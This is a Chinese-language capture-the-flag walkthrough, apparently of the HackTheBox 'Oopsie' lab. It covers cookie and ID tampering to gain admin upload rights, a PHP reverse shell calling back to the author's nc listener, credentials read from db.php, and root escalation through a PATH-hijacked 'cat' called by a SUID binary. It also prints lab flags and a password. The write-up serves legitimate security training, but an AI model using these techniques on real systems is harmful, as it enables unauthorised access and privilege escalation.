# Task 1
Q:With what kind of tool can intercept web traffic?
A:proxy
# Task 2
Q:What is the path to the directory on the webserver that returns a login page?
F12 检查元素发现有一行 <script src="/cdn-cgi/login/script.js"></script>
这不就找到后台了?
根据提示也可以使用 burpsuite 的爬虫爬取,在 Target
下的 Sitemap
A:/cdn-cgi/login
# Task 3
Q:What can be modified in Firefox to get access to the upload page?
这个用 burpsuite 拦截数据包,很容易发现 cookie 里包含了 id
A:cookie
# Task 4
Q:What is the access ID of the admin user?
打开后台发现可以使用 Guest
账号登录,进去之后有一个 account 选项卡,点进去发现是显式自己的资料,但是 URL 有一个 Get 的参数 id=1
直接改成 id=1
就显示了 admin 的 ID
这里可以通过 intruder
爆破所有 ID 账号
A:34322
# Task 5
Q:On uploading a file, what directory does that file appear in on the server?
这个可以爆破出来,但是猜一下也无妨
A:/uploads
# Task 6
Q:What is the file that contains the password that is shared with the robert user?
这个就要去拿 shell 了
首先打开网页,打开上传点,发现需要 super admin 权限才能用,那我们根据之前爆破出来的结果,已经知道了 super admin 的 id 是 86575,直接抓包改 cookie
然后用 kali 自带的反弹 shell 交上去
cp /usr/share/webshells/php/php-reverse-shell.php . | |
cat php-reverse-shell.php |
里面的 ip 改成本机
上传的时候也要改一下 cookie
上传成功了
接下来我们监听下 1234 端口
┌──(root💀kali)-[~] | |
└─# nc -lvnp 1234 127 ⨯ | |
listening on [any] 1234 ... |
直接访问 shell 触发 http://10.129.7.7/uploads/php-reverse-shell.php
shell 反弹了
┌──(root💀kali)-[~] | |
└─# nc -lvnp 1234 127 ⨯ | |
listening on [any] 1234 ... | |
connect to [10.10.16.86] from (UNKNOWN) [10.129.7.7] 37708 | |
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux | |
02:13:44 up 24 min, 0 users, load average: 0.00, 0.00, 0.00 | |
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT | |
uid=33(www-data) gid=33(www-data) groups=33(www-data) | |
/bin/sh: 0: can't access tty; job control turned off | |
$ whoami | |
www-data | |
$ |
但是目前的 shell 是非交互的,意思就是你输入指令,指令会存放在文件里,而系统从文件中读取执行,不会产生任何交互响应,取消啊输入密码之类的交互信息不能发送。
那我们就要升级 shell 称为交互 shell 了!
SHELL=/bin/bash script -q /dev/null | |
Ctrl-Z | |
stty raw -echo | |
fg | |
xterm |
不成功,可能是哪里出错了,感觉网上的返回交互式 shell 的方法在这里不适用啊
不过不用交互式 shell 问题也不大,就是有一些不方便而已
我们返回 nc,直接查找答案
$ cd /var/www/html/cdn-cgi/login | |
$ ls | |
admin.php | |
db.php | |
index.php | |
script.js | |
$ cat db.php | |
<?php | |
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); | |
?> | |
$ |
A:db.php
# Task 7
Q:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
重新挑战交互式 shell,这回不用交互式 shell 是真不行了
$ SHELL=/bin/bash script -q /dev/null // 这里新建了一个 tty | |
www-data@oopsie:/$ su robert | |
su robert | |
Password: M3g4C0rpUs3r! |
我们直接用泄露的账号密码登录进去,这样就有了一个交互 shell,但又没有完全交互,不能用中断命令,只是能做一些交互而已,郁闷 ==、
后来做了扫描发现 ssh 是开着的,那么完全可以 ssh 直接连进去,方便得多
题目文的是和组相关的,那么我们先查看一下 robert 的信息
robert@oopsie:/$ id | |
id | |
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker) | |
robert@oopsie:/$ |
接下来查找一下所有属于用户组的文件,并通过 2>/dev/null
将 permission deny
的错误信息过滤
robert@oopsie:/$ find / -type f -group bugtracker 2>/dev/null | |
find / -type f -group bugtracker 2>/dev/null | |
/usr/bin/bugtracker |
找到了一个 /usr/bin/bugtracker
A:find
# Task 8
Q:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
让我们康康这个文件
robert@oopsie:/$ ls -al /usr/bin/bugtracker | |
ls -al /usr/bin/bugtracker | |
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker |
天呐,发现具有 s 权限!而且所有者是 root!
s 权限的文件执行时,其拥有的权限会暂时被调整为 owner 的权限
可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的 ID 值输出以该数字为编号的 bug 报告
-- 某大佬
A:root
# Task 9
Q:What SUID stands for?
A:Set owner User ID
# Task 10
Q:What is the name of the executable being called in an insecure manner?
A:cat
# Flag
# user flag
robert@oopsie:~$ cd /home/robert | |
robert@oopsie:~$ cat user.txt | |
f2c74ee8db7983851ab2a96a44eb7981 |
flag:f2c74ee8db7983851ab2a96a44eb7981
# 解法 1
我们可以通过运行 bugtracker 来获得 flag
robert@oopsie:/usr/bin$ ./bugtracker | |
------------------ | |
: EV Bug Tracker : | |
------------------ | |
Provide Bug ID: ../root.txt | |
--------------- | |
af13b0bee69f8a877c3faf667f7beacf |
# 解法 2
通过 strings
命令获取到文件里面的所有 ASCII 码字符串,用来洞悉使用了哪些命令
其中有一条就是 cat /root/reports
那么查阅大佬的记录,哦吼?!
其含义是 bugtracker 调用系统中的 cat 命令输出了位于 /root/reports/ 目录下的 bug 报告,robert 用户本应无权访问 /root 目录,而 bugtracker 设置了 setuid 后就拥有了 /root 目录的访问,就拥有了 root 权限。且 cat 命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻 cat 命令,可以考虑创建一个恶意的 cat 命令,并修改当前用户环境变量,将权限提升为 root。
export PATH=/tmp:$PATH // 将 /tmp 目录设置为环境变量 | |
cd /tmp/ // 切换到 /tmp 目录下 | |
echo '/bin/sh' > cat // 在此构造恶意的 cat 命令 | |
chmod +x cat // 赋予执行权限 |
这样 bugtracker 再次调用 cat 命令时实际上调用的是 /tmp 目录下的恶意的 cat 命令
再运行一下 bugtracker
robert@oopsie:/tmp$ ./../usr/bin/bugtracker |
返回了 root 权限,不过是临时的,并不是把 robert 改成了真正的 root
# id | |
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker) |
既然有了 root 权限,那么就可以读取 root.txt 了
flag:af13b0bee69f8a877c3faf667f7beacf